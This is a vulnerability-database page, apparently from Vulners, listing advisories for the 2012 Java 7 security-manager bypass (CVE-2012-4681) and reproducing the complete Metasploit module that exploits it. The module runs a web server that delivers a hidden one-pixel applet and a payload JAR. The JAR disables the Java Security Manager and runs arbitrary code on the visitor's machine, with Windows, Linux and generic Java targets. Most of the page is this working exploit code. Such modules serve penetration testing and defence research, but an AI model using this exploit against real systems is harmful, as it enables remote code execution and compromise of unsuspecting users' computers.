| Reporter | Title | Published | Views | Family All 172 |
|---|---|---|---|---|
| Java 1.7 -- security manager bypass | 27 Aug 201200:00 | – | freebsd | |
| Oracle Java SE 7 <= Update 6 Code Execution | 27 Aug 201200:00 | – | nessus | |
| CentOS 6 : java-1.7.0-openjdk (CESA-2012:1223) | 6 Sep 201200:00 | – | nessus | |
| Fedora 18 : java-1.7.0-openjdk-1.7.0.6-2.3.1.fc18.2 (2012-13100) | 18 Sep 201200:00 | – | nessus | |
| Fedora 17 : java-1.7.0-openjdk-1.7.0.6-2.3.1.fc17.2 (2012-13131) | 4 Sep 201200:00 | – | nessus | |
| Fedora 16 : java-1.7.0-openjdk-1.7.0.6-2.3.1.fc16.2 (2012-13138) | 4 Sep 201200:00 | – | nessus | |
| FreeBSD : Java 1.7 -- security manager bypass (16846d1e-f1de-11e1-8bd8-0022156e8794) | 31 Aug 201200:00 | – | nessus | |
| GLSA-201401-30 : Oracle JRE/JDK: Multiple vulnerabilities (ROBOT) | 27 Jan 201400:00 | – | nessus | |
| Mac OS X : Java for Mac OS X 10.6 Update 10 | 6 Sep 201200:00 | – | nessus | |
| Mac OS X : Java for OS X 2012-005 | 6 Sep 201200:00 | – | nessus |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
The exploit takes advantage of two issues in JDK 7: The ClassFinder and
MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a
replacement for classForName back in JDK 6. It allows untrusted code to obtain a
reference and have access to a restricted package in JDK 7, which can be used to
abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal()
(but getField() must be public, and that's not always the case in JDK 6) in order
to access Statement.acc's private field, modify AccessControlContext, and then
disable Security Manager. Once Security Manager is disabled, we can execute
arbitrary Java code.
Our exploit has been tested successfully against multiple platforms, including:
IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory
'James Forshaw', # Vulnerability discovery according to Oracle's advisory
'jduck', # metasploit module
'sinn3r', # metasploit module
'juan vazquez' # metasploit module
],
'References' =>
[
[ 'CVE', '2012-4681' ],
[ 'OSVDB', '84867' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2012/08/27/lets-start-the-week-with-a-new-java-0day' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=852051']
],
'Platform' => %w{ java linux win },
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-08-26'
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status("#{self.name} handling request")
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "Exploit.class" ]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2012-4681", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation